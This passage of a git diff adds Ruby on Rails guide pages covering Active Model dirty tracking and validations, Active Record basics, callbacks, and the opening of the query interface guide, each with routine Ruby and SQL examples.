+    @first_name
+  end
+
+  def first_name=(value)
+    first_name_will_change!
+    @first_name = value
+  end
+
+  def last_name
+    @last_name
+  end
+
+  def last_name=(value)
+    last_name_will_change!
+    @last_name = value
+  end
+
+  def save
+    # do save work...
+    changes_applied
+  end
+end
+```
+
+#### Querying object directly for its list of all changed attributes.
+
+```ruby
+person = Person.new
+person.changed? # => false
+
+person.first_name = "First Name"
+person.first_name # => "First Name"
+
+# returns if any attribute has changed.
+person.changed? # => true
+
+# returns a list of attributes that have changed before saving.
+person.changed # => ["first_name"]
+
+# returns a hash of the attributes that have changed with their original values.
+person.changed_attributes # => {"first_name"=>nil}
+
+# returns a hash of changes, with the attribute names as the keys, and the values will be an array of the old and new value for that field.
+person.changes # => {"first_name"=>[nil, "First Name"]}
+```
+
+#### Attribute based accessor methods
+
+Track whether the particular attribute has been changed or not.
+
+```ruby
+# attr_name_changed?
+person.first_name # => "First Name"
+person.first_name_changed? # => true
+```
+
+Track what was the previous value of the attribute.
+
+```ruby
+# attr_name_was accessor
+person.first_name_was # => "First Name"
+```
+
+Track both previous and current value of the changed attribute. Returns an array if changed, else returns nil.
+
+```ruby
+# attr_name_change
+person.first_name_change # => [nil, "First Name"]
+person.last_name_change # => nil
+```
+
+### Validations
+
+Validations module adds the ability to class objects to validate them in Active Record style.
+
+```ruby
+class Person
+  include ActiveModel::Validations
+
+  attr_accessor :name, :email, :token
+
+  validates :name, presence: true
+  validates_format_of :email, with: /\A([^\s]+)((?:[-a-z0-9]\.)[a-z]{2,})\z/i
+  validates! :token, presence: true
+end
+
+person = Person.new(token: "2b1f325")
+person.valid?                        # => false
+person.name = 'vishnu'
+person.email = 'me'
+person.valid?                        # => false
+person.email = 'me at vishnuatrai.com'
+person.valid?                        # => true
+person.token = nil
+person.valid?                        # => raises ActiveModel::StrictValidationFailed
+```
diff --git a/guides/source/active_record_basics.md b/guides/source/active_record_basics.md
new file mode 100644
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--- /dev/null
+++ b/guides/source/active_record_basics.md
@@ -0,0 +1,373 @@
+Active Record Basics
+====================
+
+This guide is an introduction to Active Record.
+
+After reading this guide, you will know:
+
+* What Object Relational Mapping and Active Record are and how they are used in
+  Rails.
+* How Active Record fits into the Model-View-Controller paradigm.
+* How to use Active Record models to manipulate data stored in a relational
+  database.
+* Active Record schema naming conventions.
+* The concepts of database migrations, validations and callbacks.
+
+--------------------------------------------------------------------------------
+
+What is Active Record?
+----------------------
+
+Active Record is the M in [MVC](getting_started.html#the-mvc-architecture) - the
+model - which is the layer of the system responsible for representing business
+data and logic. Active Record facilitates the creation and use of business
+objects whose data requires persistent storage to a database. It is an
+implementation of the Active Record pattern which itself is a description of an
+Object Relational Mapping system.
+
+### The Active Record Pattern
+
+[Active Record was described by Martin Fowler](http://www.martinfowler.com/eaaCatalog/activeRecord.html)
+in his book _Patterns of Enterprise Application Architecture_. In
+Active Record, objects carry both persistent data and behavior which
+operates on that data. Active Record takes the opinion that ensuring
+data access logic is part of the object will educate users of that
+object on how to write to and read from the database.
+
+### Object Relational Mapping
+
+Object-Relational Mapping, commonly referred to as its abbreviation ORM, is
+a technique that connects the rich objects of an application to tables in
+a relational database management system. Using ORM, the properties and
+relationships of the objects in an application can be easily stored and
+retrieved from a database without writing SQL statements directly and with less
+overall database access code.
+
+### Active Record as an ORM Framework
+
+Active Record gives us several mechanisms, the most important being the ability
+to:
+
+* Represent models and their data.
+* Represent associations between these models.
+* Represent inheritance hierarchies through related models.
+* Validate models before they get persisted to the database.
+* Perform database operations in an object-oriented fashion.
+
+Convention over Configuration in Active Record
+----------------------------------------------
+
+When writing applications using other programming languages or frameworks, it
+may be necessary to write a lot of configuration code. This is particularly true
+for ORM frameworks in general. However, if you follow the conventions adopted by
+Rails, you'll need to write very little configuration (in some case no
+configuration at all) when creating Active Record models. The idea is that if
+you configure your applications in the very same way most of the time then this
+should be the default way. Thus, explicit configuration would be needed
+only in those cases where you can't follow the standard convention.
+
+### Naming Conventions
+
+By default, Active Record uses some naming conventions to find out how the
+mapping between models and database tables should be created. Rails will
+pluralize your class names to find the respective database table. So, for
+a class `Book`, you should have a database table called **books**. The Rails
+pluralization mechanisms are very powerful, being capable to pluralize (and
+singularize) both regular and irregular words. When using class names composed
+of two or more words, the model class name should follow the Ruby conventions,
+using the CamelCase form, while the table name must contain the words separated
+by underscores. Examples:
+
+* Database Table - Plural with underscores separating words (e.g., `book_clubs`).
+* Model Class - Singular with the first letter of each word capitalized (e.g.,
+`BookClub`).
+
+| Model / Class | Table / Schema |
+| ------------- | -------------- |
+| `Post`        | `posts`        |
+| `LineItem`    | `line_items`   |
+| `Deer`        | `deers`        |
+| `Mouse`       | `mice`         |
+| `Person`      | `people`       |
+
+
+### Schema Conventions
+
+Active Record uses naming conventions for the columns in database tables,
+depending on the purpose of these columns.
+
+* **Foreign keys** - These fields should be named following the pattern
+  `singularized_table_name_id` (e.g., `item_id`, `order_id`). These are the
+  fields that Active Record will look for when you create associations between
+  your models.
+* **Primary keys** - By default, Active Record will use an integer column named
+  `id` as the table's primary key. When using [Active Record
+  Migrations](migrations.html) to create your tables, this column will be
+  automatically created.
+
+There are also some optional column names that will add additional features
+to Active Record instances:
+
+* `created_at` - Automatically gets set to the current date and time when the
+  record is first created.
+* `updated_at` - Automatically gets set to the current date and time whenever
+  the record is updated.
+* `lock_version` - Adds [optimistic
+  locking](http://api.rubyonrails.org/classes/ActiveRecord/Locking.html) to
+  a model.
+* `type` - Specifies that the model uses [Single Table
+  Inheritance](http://api.rubyonrails.org/classes/ActiveRecord/Base.html#label-Single+table+inheritance).
+* `(association_name)_type` - Stores the type for
+  [polymorphic associations](association_basics.html#polymorphic-associations).
+* `(table_name)_count` - Used to cache the number of belonging objects on
+  associations. For example, a `comments_count` column in a `Post` class that
+  has many instances of `Comment` will cache the number of existent comments
+  for each post.
+
+NOTE: While these column names are optional, they are in fact reserved by Active Record. Steer clear of reserved keywords unless you want the extra functionality. For example, `type` is a reserved keyword used to designate a table using Single Table Inheritance (STI). If you are not using STI, try an analogous keyword like "context", that may still accurately describe the data you are modeling.
+
+Creating Active Record Models
+-----------------------------
+
+It is very easy to create Active Record models. All you have to do is to
+subclass the `ActiveRecord::Base` class and you're good to go:
+
+```ruby
+class Product < ActiveRecord::Base
+end
+```
+
+This will create a `Product` model, mapped to a `products` table at the
+database. By doing this you'll also have the ability to map the columns of each
+row in that table with the attributes of the instances of your model. Suppose
+that the `products` table was created using an SQL sentence like:
+
+```sql
+CREATE TABLE products (
+   id int(11) NOT NULL auto_increment,
+   name varchar(255),
+   PRIMARY KEY  (id)
+);
+```
+
+Following the table schema above, you would be able to write code like the
+following:
+
+```ruby
+p = Product.new
+p.name = "Some Book"
+puts p.name # "Some Book"
+```
+
+Overriding the Naming Conventions
+---------------------------------
+
+What if you need to follow a different naming convention or need to use your
+Rails application with a legacy database? No problem, you can easily override
+the default conventions.
+
+You can use the `ActiveRecord::Base.table_name=` method to specify the table
+name that should be used:
+
+```ruby
+class Product < ActiveRecord::Base
+  self.table_name = "PRODUCT"
+end
+```
+
+If you do so, you will have to define manually the class name that is hosting
+the fixtures (class_name.yml) using the `set_fixture_class` method in your test
+definition:
+
+```ruby
+class FunnyJoke < ActiveSupport::TestCase
+  set_fixture_class funny_jokes: Joke
+  fixtures :funny_jokes
+  ...
+end
+```
+
+It's also possible to override the column that should be used as the table's
+primary key using the `ActiveRecord::Base.primary_key=` method:
+
+```ruby
+class Product < ActiveRecord::Base
+  self.primary_key = "product_id"
+end
+```
+
+CRUD: Reading and Writing Data
+------------------------------
+
+CRUD is an acronym for the four verbs we use to operate on data: **C**reate,
+**R**ead, **U**pdate and **D**elete. Active Record automatically creates methods
+to allow an application to read and manipulate data stored within its tables.
+
+### Create
+
+Active Record objects can be created from a hash, a block or have their
+attributes manually set after creation. The `new` method will return a new
+object while `create` will return the object and save it to the database.
+
+For example, given a model `User` with attributes of `name` and `occupation`,
+the `create` method call will create and save a new record into the database:
+
+```ruby
+user = User.create(name: "David", occupation: "Code Artist")
+```
+
+Using the `new` method, an object can be instantiated without being saved:
+
+```ruby
+user = User.new
+user.name = "David"
+user.occupation = "Code Artist"
+```
+
+A call to `user.save` will commit the record to the database.
+
+Finally, if a block is provided, both `create` and `new` will yield the new
+object to that block for initialization:
+
+```ruby
+user = User.new do |u|
+  u.name = "David"
+  u.occupation = "Code Artist"
+end
+```
+
+### Read
+
+Active Record provides a rich API for accessing data within a database. Below
+are a few examples of different data access methods provided by Active Record.
+
+```ruby
+# return a collection with all users
+users = User.all
+```
+
+```ruby
+# return the first user
+user = User.first
+```
+
+```ruby
+# return the first user named David
+david = User.find_by(name: 'David')
+```
+
+```ruby
+# find all users named David who are Code Artists and sort by created_at in reverse chronological order
+users = User.where(name: 'David', occupation: 'Code Artist').order('created_at DESC')
+```
+
+You can learn more about querying an Active Record model in the [Active Record
+Query Interface](active_record_querying.html) guide.
+
+### Update
+
+Once an Active Record object has been retrieved, its attributes can be modified
+and it can be saved to the database.
+
+```ruby
+user = User.find_by(name: 'David')
+user.name = 'Dave'
+user.save
+```
+
+A shorthand for this is to use a hash mapping attribute names to the desired
+value, like so:
+
+```ruby
+user = User.find_by(name: 'David')
+user.update(name: 'Dave')
+```
+
+This is most useful when updating several attributes at once. If, on the other
+hand, you'd like to update several records in bulk, you may find the
+`update_all` class method useful:
+
+```ruby
+User.update_all "max_login_attempts = 3, must_change_password = 'true'"
+```
+
+### Delete
+
+Likewise, once retrieved an Active Record object can be destroyed which removes
+it from the database.
+
+```ruby
+user = User.find_by(name: 'David')
+user.destroy
+```
+
+Validations
+-----------
+
+Active Record allows you to validate the state of a model before it gets written
+into the database. There are several methods that you can use to check your
+models and validate that an attribute value is not empty, is unique and not
+already in the database, follows a specific format and many more.
+
+Validation is a very important issue to consider when persisting to database, so
+the methods `create`, `save` and `update` take it into account when
+running: they return `false` when validation fails and they didn't actually
+perform any operation on database. All of these have a bang counterpart (that
+is, `create!`, `save!` and `update!`), which are stricter in that
+they raise the exception `ActiveRecord::RecordInvalid` if validation fails.
+A quick example to illustrate:
+
+```ruby
+class User < ActiveRecord::Base
+  validates :name, presence: true
+end
+
+User.create  # => false
+User.create! # => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+```
+
+You can learn more about validations in the [Active Record Validations
+guide](active_record_validations.html).
+
+Callbacks
+---------
+
+Active Record callbacks allow you to attach code to certain events in the
+life-cycle of your models. This enables you to add behavior to your models by
+transparently executing code when those events occur, like when you create a new
+record, update it, destroy it and so on. You can learn more about callbacks in
+the [Active Record Callbacks guide](active_record_callbacks.html).
+
+Migrations
+----------
+
+Rails provides a domain-specific language for managing a database schema called
+migrations. Migrations are stored in files which are executed against any
+database that Active Record supports using `rake`. Here's a migration that
+creates a table:
+
+```ruby
+class CreatePublications < ActiveRecord::Migration
+  def change
+    create_table :publications do |t|
+      t.string :title
+      t.text :description
+      t.references :publication_type
+      t.integer :publisher_id
+      t.string :publisher_type
+      t.boolean :single_issue
+
+      t.timestamps
+    end
+    add_index :publications, :publication_type_id
+  end
+end
+```
+
+Rails keeps track of which files have been committed to the database and
+provides rollback features. To actually create the table, you'd run `rake db:migrate`
+and to roll it back, `rake db:rollback`.
+
+Note that the above code is database-agnostic: it will run in MySQL,
+PostgreSQL, Oracle and others. You can learn more about migrations in the
+[Active Record Migrations guide](migrations.html).
diff --git a/guides/source/active_record_callbacks.md b/guides/source/active_record_callbacks.md
new file mode 100644
index 0000000..6674332
--- /dev/null
+++ b/guides/source/active_record_callbacks.md
@@ -0,0 +1,410 @@
+Active Record Callbacks
+=======================
+
+This guide teaches you how to hook into the life cycle of your Active Record
+objects.
+
+After reading this guide, you will know:
+
+* The life cycle of Active Record objects.
+* How to create callback methods that respond to events in the object life cycle.
+* How to create special classes that encapsulate common behavior for your callbacks.
+
+--------------------------------------------------------------------------------
+
+The Object Life Cycle
+---------------------
+
+During the normal operation of a Rails application, objects may be created, updated, and destroyed. Active Record provides hooks into this <em>object life cycle</em> so that you can control your application and its data.
+
+Callbacks allow you to trigger logic before or after an alteration of an object's state.
+
+Callbacks Overview
+------------------
+
+Callbacks are methods that get called at certain moments of an object's life cycle. With callbacks it is possible to write code that will run whenever an Active Record object is created, saved, updated, deleted, validated, or loaded from the database.
+
+### Callback Registration
+
+In order to use the available callbacks, you need to register them. You can implement the callbacks as ordinary methods and use a macro-style class method to register them as callbacks:
+
+```ruby
+class User < ActiveRecord::Base
+  validates :login, :email, presence: true
+
+  before_validation :ensure_login_has_a_value
+
+  protected
+    def ensure_login_has_a_value
+      if login.nil?
+        self.login = email unless email.blank?
+      end
+    end
+end
+```
+
+The macro-style class methods can also receive a block. Consider using this style if the code inside your block is so short that it fits in a single line:
+
+```ruby
+class User < ActiveRecord::Base
+  validates :login, :email, presence: true
+
+  before_create do
+    self.name = login.capitalize if name.blank?
+  end
+end
+```
+
+Callbacks can also be registered to only fire on certain life cycle events:
+
+```ruby
+class User < ActiveRecord::Base
+  before_validation :normalize_name, on: :create
+
+  # :on takes an array as well
+  after_validation :set_location, on: [ :create, :update ]
+
+  protected
+    def normalize_name
+      self.name = self.name.downcase.titleize
+    end
+
+    def set_location
+      self.location = LocationService.query(self)
+    end
+end
+```
+
+It is considered good practice to declare callback methods as protected or private. If left public, they can be called from outside of the model and violate the principle of object encapsulation.
+
+Available Callbacks
+-------------------
+
+Here is a list with all the available Active Record callbacks, listed in the same order in which they will get called during the respective operations:
+
+### Creating an Object
+
+* `before_validation`
+* `after_validation`
+* `before_save`
+* `around_save`
+* `before_create`
+* `around_create`
+* `after_create`
+* `after_save`
+
+### Updating an Object
+
+* `before_validation`
+* `after_validation`
+* `before_save`
+* `around_save`
+* `before_update`
+* `around_update`
+* `after_update`
+* `after_save`
+
+### Destroying an Object
+
+* `before_destroy`
+* `around_destroy`
+* `after_destroy`
+
+WARNING. `after_save` runs both on create and update, but always _after_ the more specific callbacks `after_create` and `after_update`, no matter the order in which the macro calls were executed.
+
+### `after_initialize` and `after_find`
+
+The `after_initialize` callback will be called whenever an Active Record object is instantiated, either by directly using `new` or when a record is loaded from the database. It can be useful to avoid the need to directly override your Active Record `initialize` method.
+
+The `after_find` callback will be called whenever Active Record loads a record from the database. `after_find` is called before `after_initialize` if both are defined.
+
+The `after_initialize` and `after_find` callbacks have no `before_*` counterparts, but they can be registered just like the other Active Record callbacks.
+
+```ruby
+class User < ActiveRecord::Base
+  after_initialize do |user|
+    puts "You have initialized an object!"
+  end
+
+  after_find do |user|
+    puts "You have found an object!"
+  end
+end
+
+>> User.new
+You have initialized an object!
+=> #<User id: nil>
+
+>> User.first
+You have found an object!
+You have initialized an object!
+=> #<User id: 1>
+```
+
+### `after_touch`
+
+The `after_touch` callback will be called whenever an Active Record object is touched.
+
+```ruby
+class User < ActiveRecord::Base
+  after_touch do |user|
+    puts "You have touched an object"
+  end
+end
+
+>> u = User.create(name: 'Kuldeep')
+=> #<User id: 1, name: "Kuldeep", created_at: "2013-11-25 12:17:49", updated_at: "2013-11-25 12:17:49">
+
+>> u.touch
+You have touched an object
+=> true
+```
+
+It can be used along with `belongs_to`:
+
+```ruby
+class Employee < ActiveRecord::Base
+  belongs_to :company, touch: true
+  after_touch do
+    puts 'An Employee was touched'
+  end
+end
+
+class Company < ActiveRecord::Base
+  has_many :employees
+  after_touch :log_when_employees_or_company_touched
+
+  private
+  def log_when_employees_or_company_touched
+    puts 'Employee/Company was touched'
+  end
+end
+
+>> @employee = Employee.last
+=> #<Employee id: 1, company_id: 1, created_at: "2013-11-25 17:04:22", updated_at: "2013-11-25 17:05:05">
+
+# triggers @employee.company.touch
+>> @employee.touch
+Employee/Company was touched
+An Employee was touched
+=> true
+```
+
+Running Callbacks
+-----------------
+
+The following methods trigger callbacks:
+
+* `create`
+* `create!`
+* `decrement!`
+* `destroy`
+* `destroy!`
+* `destroy_all`
+* `increment!`
+* `save`
+* `save!`
+* `save(validate: false)`
+* `toggle!`
+* `update_attribute`
+* `update`
+* `update!`
+* `valid?`
+
+Additionally, the `after_find` callback is triggered by the following finder methods:
+
+* `all`
+* `first`
+* `find`
+* `find_by`
+* `find_by_*`
+* `find_by_*!`
+* `find_by_sql`
+* `last`
+
+The `after_initialize` callback is triggered every time a new object of the class is initialized.
+
+NOTE: The `find_by_*` and `find_by_*!` methods are dynamic finders generated automatically for every attribute. Learn more about them at the [Dynamic finders section](active_record_querying.html#dynamic-finders)
+
+Skipping Callbacks
+------------------
+
+Just as with validations, it is also possible to skip callbacks by using the following methods:
+
+* `decrement`
+* `decrement_counter`
+* `delete`
+* `delete_all`
+* `increment`
+* `increment_counter`
+* `toggle`
+* `touch`
+* `update_column`
+* `update_columns`
+* `update_all`
+* `update_counters`
+
+These methods should be used with caution, however, because important business rules and application logic may be kept in callbacks. Bypassing them without understanding the potential implications may lead to invalid data.
+
+Halting Execution
+-----------------
+
+As you start registering new callbacks for your models, they will be queued for execution. This queue will include all your model's validations, the registered callbacks, and the database operation to be executed.
+
+The whole callback chain is wrapped in a transaction. If any _before_ callback method returns exactly `false` or raises an exception, the execution chain gets halted and a ROLLBACK is issued; _after_ callbacks can only accomplish that by raising an exception.
+
+WARNING. Any exception that is not `ActiveRecord::Rollback` will be re-raised by Rails after the callback chain is halted. Raising an exception other than `ActiveRecord::Rollback` may break code that does not expect methods like `save` and `update_attributes` (which normally try to return `true` or `false`) to raise an exception.
+
+Relational Callbacks
+--------------------
+
+Callbacks work through model relationships, and can even be defined by them. Suppose an example where a user has many posts. A user's posts should be destroyed if the user is destroyed. Let's add an `after_destroy` callback to the `User` model by way of its relationship to the `Post` model:
+
+```ruby
+class User < ActiveRecord::Base
+  has_many :posts, dependent: :destroy
+end
+
+class Post < ActiveRecord::Base
+  after_destroy :log_destroy_action
+
+  def log_destroy_action
+    puts 'Post destroyed'
+  end
+end
+
+>> user = User.first
+=> #<User id: 1>
+>> user.posts.create!
+=> #<Post id: 1, user_id: 1>
+>> user.destroy
+Post destroyed
+=> #<User id: 1>
+```
+
+Conditional Callbacks
+---------------------
+
+As with validations, we can also make the calling of a callback method conditional on the satisfaction of a given predicate. We can do this using the `:if` and `:unless` options, which can take a symbol, a string, a `Proc` or an `Array`. You may use the `:if` option when you want to specify under which conditions the callback **should** be called. If you want to specify the conditions under which the callback **should not** be called, then you may use the `:unless` option.
+
+### Using `:if` and `:unless` with a `Symbol`
+
+You can associate the `:if` and `:unless` options with a symbol corresponding to the name of a predicate method that will get called right before the callback. When using the `:if` option, the callback won't be executed if the predicate method returns false; when using the `:unless` option, the callback won't be executed if the predicate method returns true. This is the most common option. Using this form of registration it is also possible to register several different predicates that s [...]
+
+```ruby
+class Order < ActiveRecord::Base
+  before_save :normalize_card_number, if: :paid_with_card?
+end
+```
+
+### Using `:if` and `:unless` with a String
+
+You can also use a string that will be evaluated using `eval` and hence needs to contain valid Ruby code. You should use this option only when the string represents a really short condition:
+
+```ruby
+class Order < ActiveRecord::Base
+  before_save :normalize_card_number, if: "paid_with_card?"
+end
+```
+
+### Using `:if` and `:unless` with a `Proc`
+
+Finally, it is possible to associate `:if` and `:unless` with a `Proc` object. This option is best suited when writing short validation methods, usually one-liners:
+
+```ruby
+class Order < ActiveRecord::Base
+  before_save :normalize_card_number,
+    if: Proc.new { |order| order.paid_with_card? }
+end
+```
+
+### Multiple Conditions for Callbacks
+
+When writing conditional callbacks, it is possible to mix both `:if` and `:unless` in the same callback declaration:
+
+```ruby
+class Comment < ActiveRecord::Base
+  after_create :send_email_to_author, if: :author_wants_emails?,
+    unless: Proc.new { |comment| comment.post.ignore_comments? }
+end
+```
+
+Callback Classes
+----------------
+
+Sometimes the callback methods that you'll write will be useful enough to be reused by other models. Active Record makes it possible to create classes that encapsulate the callback methods, so it becomes very easy to reuse them.
+
+Here's an example where we create a class with an `after_destroy` callback for a `PictureFile` model:
+
+```ruby
+class PictureFileCallbacks
+  def after_destroy(picture_file)
+    if File.exist?(picture_file.filepath)
+      File.delete(picture_file.filepath)
+    end
+  end
+end
+```
+
+When declared inside a class, as above, the callback methods will receive the model object as a parameter. We can now use the callback class in the model:
+
+```ruby
+class PictureFile < ActiveRecord::Base
+  after_destroy PictureFileCallbacks.new
+end
+```
+
+Note that we needed to instantiate a new `PictureFileCallbacks` object, since we declared our callback as an instance method. This is particularly useful if the callbacks make use of the state of the instantiated object. Often, however, it will make more sense to declare the callbacks as class methods:
+
+```ruby
+class PictureFileCallbacks
+  def self.after_destroy(picture_file)
+    if File.exist?(picture_file.filepath)
+      File.delete(picture_file.filepath)
+    end
+  end
+end
+```
+
+If the callback method is declared this way, it won't be necessary to instantiate a `PictureFileCallbacks` object.
+
+```ruby
+class PictureFile < ActiveRecord::Base
+  after_destroy PictureFileCallbacks
+end
+```
+
+You can declare as many callbacks as you want inside your callback classes.
+
+Transaction Callbacks
+---------------------
+
+There are two additional callbacks that are triggered by the completion of a database transaction: `after_commit` and `after_rollback`. These callbacks are very similar to the `after_save` callback except that they don't execute until after database changes have either been committed or rolled back. They are most useful when your active record models need to interact with external systems which are not part of the database transaction.
+
+Consider, for example, the previous example where the `PictureFile` model needs to delete a file after the corresponding record is destroyed. If anything raises an exception after the `after_destroy` callback is called and the transaction rolls back, the file will have been deleted and the model will be left in an inconsistent state. For example, suppose that `picture_file_2` in the code below is not valid and the `save!` method raises an error.
+
+```ruby
+PictureFile.transaction do
+  picture_file_1.destroy
+  picture_file_2.save!
+end
+```
+
+By using the `after_commit` callback we can account for this case.
+
+```ruby
+class PictureFile < ActiveRecord::Base
+  after_commit :delete_picture_file_from_disk, on: [:destroy]
+
+  def delete_picture_file_from_disk
+    if File.exist?(filepath)
+      File.delete(filepath)
+    end
+  end
+end
+```
+
+NOTE: the `:on` option specifies when a callback will be fired. If you
+don't supply the `:on` option the callback will fire for every action.
+
+WARNING. The `after_commit` and `after_rollback` callbacks are guaranteed to be called for all models created, updated, or destroyed within a transaction block. If any exceptions are raised within one of these callbacks, they will be ignored so that they don't interfere with the other callbacks. As such, if your callback code could raise an exception, you'll need to rescue it and handle it appropriately within the callback.
diff --git a/guides/source/active_record_querying.md b/guides/source/active_record_querying.md
new file mode 100644
index 0000000..b504ecd
--- /dev/null
+++ b/guides/source/active_record_querying.md
@@ -0,0 +1,1773 @@
+Active Record Query Interface
+=============================
+
+This guide covers different ways to retrieve data from the database using Active Record.
+
+After reading this guide, you will know:
+
+* How to find records using a variety of methods and conditions.
+* How to specify the order, retrieved attributes, grouping, and other properties of the found records.
+* How to use eager loading to reduce the number of database queries needed for data retrieval.
+* How to use dynamic finders methods.
+* How to check for the existence of particular records.
+* How to perform various calculations on Active Record models.
+* How to run EXPLAIN on relations.
+
+--------------------------------------------------------------------------------
+
+If you're used to using raw SQL to find database records, then you will generally find that there are better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases.
+
+Code examples throughout this guide will refer to one or more of the following models:
+
+TIP: All of the following models use `id` as the primary key, unless specified otherwise.
+
+```ruby
+class Client < ActiveRecord::Base
+  has_one :address
+  has_many :orders
+  has_and_belongs_to_many :roles
+end
+```
+
+```ruby
+class Address < ActiveRecord::Base
+  belongs_to :client
+end
+```
+
+```ruby
+class Order < ActiveRecord::Base
+  belongs_to :client, counter_cache: true
+end
+```
+
+```ruby
+class Role < ActiveRecord::Base
+  has_and_belongs_to_many :clients
+end
+```
+
+Active Record will perform queries on the database for you and is compatible with most database systems (MySQL, PostgreSQL and SQLite to name a few). Regardless of which database system you're using, the Active Record method format will always be the same.
+
+Retrieving Objects from the Database
+------------------------------------
+
+To retrieve objects from the database, Active Record provides several finder methods. Each finder method allows you to pass arguments into it to perform certain queries on your database without writing raw SQL.
+
+The methods are:
+
+* `bind`
+* `create_with`
+* `distinct`
+* `eager_load`
+* `extending`
+* `from`
+* `group`
+* `having`
+* `includes`
+* `joins`
+* `limit`
+* `lock`
+* `none`
+* `offset`
+* `order`
+* `preload`
+* `readonly`
+* `references`
+* `reorder`
+* `reverse_order`
+* `select`
+* `uniq`
+* `where`
+
+All of the above methods return an instance of `ActiveRecord::Relation`.
+
+The primary operation of `Model.find(options)` can be summarized as:
+
+* Convert the supplied options to an equivalent SQL query.
+* Fire the SQL query and retrieve the corresponding results from the database.
+* Instantiate the equivalent Ruby object of the appropriate model for every resulting row.
+* Run `after_find` callbacks, if any.
+
+### Retrieving a Single Object
+
+Active Record provides several different ways of retrieving a single object.
+
+#### Using a Primary Key
+
+Using `Model.find(primary_key)`, you can retrieve the object corresponding to the specified _primary key_ that matches any supplied options. For example:
+
+```ruby
+# Find the client with primary key (id) 10.
+client = Client.find(10)
+# => #<Client id: 10, first_name: "Ryan">
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM clients WHERE (clients.id = 10) LIMIT 1
+```
+
+`Model.find(primary_key)` will raise an `ActiveRecord::RecordNotFound` exception if no matching record is found.
+
+#### `take`
+
+`Model.take` retrieves a record without any implicit ordering. For example:
+
+```ruby
+client = Client.take
+# => #<Client id: 1, first_name: "Lifo">
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM clients LIMIT 1
+```
+
+`Model.take` returns `nil` if no record is found and no exception will be raised.
+
+TIP: The retrieved record may vary depending on the database engine.
+
+#### `first`
+
+`Model.first` finds the first record ordered by the primary key. For example:
+
+```ruby
+client = Client.first
+# => #<Client id: 1, first_name: "Lifo">
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM clients ORDER BY clients.id ASC LIMIT 1
+```
+
+`Model.first` returns `nil` if no matching record is found and no exception will be raised.
+
+#### `last`
+
+`Model.last` finds the last record ordered by the primary key. For example:
+
+```ruby
+client = Client.last
+# => #<Client id: 221, first_name: "Russel">
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1
+```
+
+`Model.last` returns `nil` if no matching record is found and no exception will be raised.
+
+#### `find_by`
+
+`Model.find_by` finds the first record matching some conditions. For example:
+
+```ruby
+Client.find_by first_name: 'Lifo'
+# => #<Client id: 1, first_name: "Lifo">
+
+Client.find_by first_name: 'Jon'
+# => nil
+```
+
+It is equivalent to writing:
+
+```ruby
+Client.where(first_name: 'Lifo').take
+```
+
+#### `take!`
+
+`Model.take!` retrieves a record without any implicit ordering. For example:
+
+```ruby
+client = Client.take!
+# => #<Client id: 1, first_name: "Lifo">
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM clients LIMIT 1
+```
+
+`Model.take!` raises `ActiveRecord::RecordNotFound` if no matching record is found.
+
+#### `first!`
+
+`Model.first!` finds the first record ordered by the primary key. For example:
+
+```ruby
+client = Client.first!
+# => #<Client id: 1, first_name: "Lifo">
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM clients ORDER BY clients.id ASC LIMIT 1
+```
+
+`Model.first!` raises `ActiveRecord::RecordNotFound` if no matching record is found.
+
+#### `last!`
+
+`Model.last!` finds the last record ordered by the primary key. For example:
+
+```ruby
+client = Client.last!
+# => #<Client id: 221, first_name: "Russel">
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1
+```
+
+`Model.last!` raises `ActiveRecord::RecordNotFound` if no matching record is found.
+
+#### `find_by!`
+
+`Model.find_by!` finds the first record matching some conditions. It raises `ActiveRecord::RecordNotFound` if no matching record is found. For example:
+
+```ruby
+Client.find_by! first_name: 'Lifo'
+# => #<Client id: 1, first_name: "Lifo">
+
+Client.find_by! first_name: 'Jon'
+# => ActiveRecord::RecordNotFound
+```
+
+It is equivalent to writing:
+
+```ruby
+Client.where(first_name: 'Lifo').take!
+```
+
+### Retrieving Multiple Objects
+
+#### Using Multiple Primary Keys
+
+`Model.find(array_of_primary_key)` accepts an array of _primary keys_, returning an array containing all of the matching records for the supplied _primary keys_. For example:
+
+```ruby
+# Find the clients with primary keys 1 and 10.
+client = Client.find([1, 10]) # Or even Client.find(1, 10)
+# => [#<Client id: 1, first_name: "Lifo">, #<Client id: 10, first_name: "Ryan">]
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM clients WHERE (clients.id IN (1,10))
+```
+
+WARNING: `Model.find(array_of_primary_key)` will raise an `ActiveRecord::RecordNotFound` exception unless a matching record is found for **all** of the supplied primary keys.
+
+#### take
+
+`Model.take(limit)` retrieves the first number of records specified by `limit` without any explicit ordering:
+
+```ruby
+Client.take(2)
+# => [#<Client id: 1, first_name: "Lifo">,
+      #<Client id: 2, first_name: "Raf">]
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM clients LIMIT 2
+```
+
+#### first
+
+`Model.first(limit)` finds the first number of records specified by `limit` ordered by primary key:
+
+```ruby
+Client.first(2)
+# => [#<Client id: 1, first_name: "Lifo">,
+      #<Client id: 2, first_name: "Raf">]
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM clients ORDER BY id ASC LIMIT 2
+```
+
+#### last
+
+`Model.last(limit)` finds the number of records specified by `limit` ordered by primary key in descending order:
+
+```ruby
+Client.last(2)
+# => [#<Client id: 10, first_name: "Ryan">,
+      #<Client id: 9, first_name: "John">]
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM clients ORDER BY id DESC LIMIT 2
+```
+
+### Retrieving Multiple Objects in Batches
+
+We often need to iterate over a large set of records, as when we send a newsletter to a large set of users, or when we export data.
+
+This may appear straightforward:
+
+```ruby
+# This is very inefficient when the users table has thousands of rows.
+User.all.each do |user|
+  NewsLetter.weekly_deliver(user)
+end
+```
+
